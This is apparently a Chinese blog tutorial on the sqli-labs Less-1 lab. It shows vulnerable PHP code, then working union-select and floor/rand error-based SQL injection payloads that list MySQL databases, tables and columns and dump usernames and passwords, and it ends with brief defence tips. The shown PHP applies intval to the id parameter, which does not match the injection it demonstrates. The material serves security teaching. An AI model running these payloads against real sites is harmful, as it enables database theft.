sql注入1:GET-报错 -单引号 - 字符(1)

sql-1:GET-Error based -single quotes - String(1)


image
除了家人不要让任何人知道自己的想法,老柯里昂说的话,宝强马蓉他们证明了找到一个能相信的外姓家人吗

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

本次测试使用本地的环境.


0x01原理分析


代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=intval($_GET['id']);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

分析:

由于没有过滤参数,导致传入数据库的语句不但能够完成本次的查询,还能进行其他的语句查询id='\$id'是字符型注入,在传入的sql语句查询数据库的时候在闭合掉'\$id'的后面一个单’并用--+/-- -/#(%23)注释后面的语句后即可加上其他语句来注入.
get型参数显示,就可以在url后面加上?id=1.


0x02 注入演示


注入验证

正常的页面带有显示位。显示位是能显示你想要获取到信息的位置
image

加单引号后的页面
image

union select注入

由于环境中有显示位,我们先来使用union select联合查询语句.

union select 语句的使用条件是,前面一个表的列数量(字段)须得和union select查询出来的列数量(字段)一致.
所以我们通过order by排序 先来判断有多少个列.如下图所示,没有10列,通过二分法最后得知有3列,大概就是id,username,passwd正常的表不会只有这3列的吧.
image
image
order by 3正常显示 , order by 4 就不正常显示说明有3列

** 在union select 联合查询时,?id=-1' union select 1,2,3;由于id=-1时候查询的表会是0 rows而达到只显示union select 1,2,3 后查询的表。

数据库中显示了1 2 3
image

执行语句之后,如下图显示:

image
我们通过知道了显示位是2和3.就可以尝试查询数据库,当前连接数据库的用户,版本号,等信息.
image
image
数据库:security|| 当前连接数据库的用户:root || 版本号: 5.5.40

在MySQL数据库中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。在information_schema中,schema,tables,columns表需要用的.具体可查看我的博客其他介绍information_schema

** 通过查询来看到schema中有几个数据库,和第一个是什么
image
代码:

1
2
3
?id=-1' union select 1,
(select count(distinct table_schema) from information_schema.tables),
(select distinct table_schema from information_schema.tables limit 0,1) --+

count(distinct table_schema )去重查询有几个表,limit 0,1显示第一行信息.因为查询出来的表是很多行,
image
group_concat( )把查询的结果以 , 分割显示一行,如果显示位字段数量少就不要用,或者查看源代码。

数据库是:

information_schema

  • mysql
  • performance_schema
  • rank
  • security
  • user

当查询结果中有mysql库的时候表示sa最高权限

** 因为当前的数据库是security,所以查此库中的有用的表.

image
代码:

1
2
3
> ?id=-1' union select 1,(select count(distinct table_name) from information_schema.tables),
(select group_concat(distinct table_name) from information_schema.tables where table_schema=database() limit 0,1)
--+ //database 可以替换成其他库名

有88个表,当前数据库的表有:

emails
referers
uagents
users

** users 表里有哪些字段
image

1
?id=-1' union select 1,(select count(distinct column_name) from information_schema.columns where table_schema=database() and table_name =0x7573657273 limit 0,1 ),(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name =0x7573657273 limit 0,1) --+

在users表中有3列(上面order by),分别是: id,username,password

** 现在查询username,password里面的内容
image

代码

union select 1,(select group_concat(0x7e,username,0x7e,password) from users) ,3 --+
1
//为了方便把两个字段区分开,写脚本的时候也可以按照自己的格式匹配比较容易

报错注入

原理分析

报错注入存在是因为在程序猿写代码时候看报错信息方便自己更好更快写网站时候输出了mysql_error,写完网站后忘记注释掉,引起了报错显示.

报错注入有几种,在这我暂时之研究了利用floor报错

先来看一下rand()随机数:

+——————+
| floor(rand(0)2) |
+——————+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
+——————+
mysql> select floor(rand(0)
2) from users;

+——————+
| floor(rand(0)*2) |
+——————+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
+——————+

我们可以发现,rand(0)*2 是一个随机的值,但是出现的顺序确是固定的,可以称之为为固定的随机值 .

原理:通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(rand(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,

image

在选择的时候出现一个随机数,检测临时表中key是否存在时有出现了一个随机数,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值相同。此链接详细介绍 :取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完. 接着查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕.再接着 查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在 插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为 1(主键键值必须唯一),所以插入的时候就直接报错了。 整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因. 详情在乌云知识库就有.笔者重新markdown语法编辑的时候乌云还未重开。

实例:

mysql> select floor(rand(0)2),count() from mysql.user group by floor(rand(0)*2
);
ERROR 1062 (23000): Duplicate entry ‘1’ for key ‘group_key’
image

利用:我们只要将数据携带进入rand(0) ,那么这个值就可以被放入到报错的地方
命令行查询版本信息:
mysql> select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x;

image

获取库的个数:
代码:

1
2
+and(select 1 from(select count(*),concat((select (select (select concat(0x7e7e3a7e7e, count(distinct+table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
--+

image
后面1是随机数
获取库名称: limit 0,1 来显示获取的第几个库,直到判断到库的数量.
image

获取某一个数据库的表名:
代码:

1
2
3
+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e, table_name, 0x7e7e3a7e7e) from information_schema.tables where table_schema=0x7365637572697479 limit 0,1
)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
--+

table_schema=0x7365637572697479 库名的16进制转换.
image

获取某一个数据库,某一个表的列:
代码:

1
2
+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,count(column_name),0x7e7e3a7e7e) from information_schema.columns where table_name=0x656d61696c73 and table_schema=0x7365637572697479
)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

image

显示emails表有几行内容:
代码:

1
2
3
+and(select 1 from(select count(*),concat((select (select ( select count(*) from security.emails
)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
--+

image

显示emails里面的某行:

代码:

1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,id, 0x20,email_id,0x7e7e3a7e7e) from security.emails limit 0,1
1
2
)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
--+

image

根据user表查密码,登录的数据库名字,使用的数据库
代码:

1
?id=1' and (select 1 from (select count(*),concat( (select concat(0x7e,username,0x7e,password) from users where id =1),0x7e,user(),0x7e,database(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a); --+

image

0x03防护

  • 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和
    双”-“进行转换等。
  • 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
  • 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

0x04 总结

报错注入还有其他类型的,暂时没有研究.回来会加上去的.php写的少所以sql注入防护还不是很会,加油,fish.

题外话:如果你对本站文章字体有任何不适,请告知我,我会回复你,字体请让浏览器调到对眼睛舒适的大小;默认不允许转载,除非转载注明出处。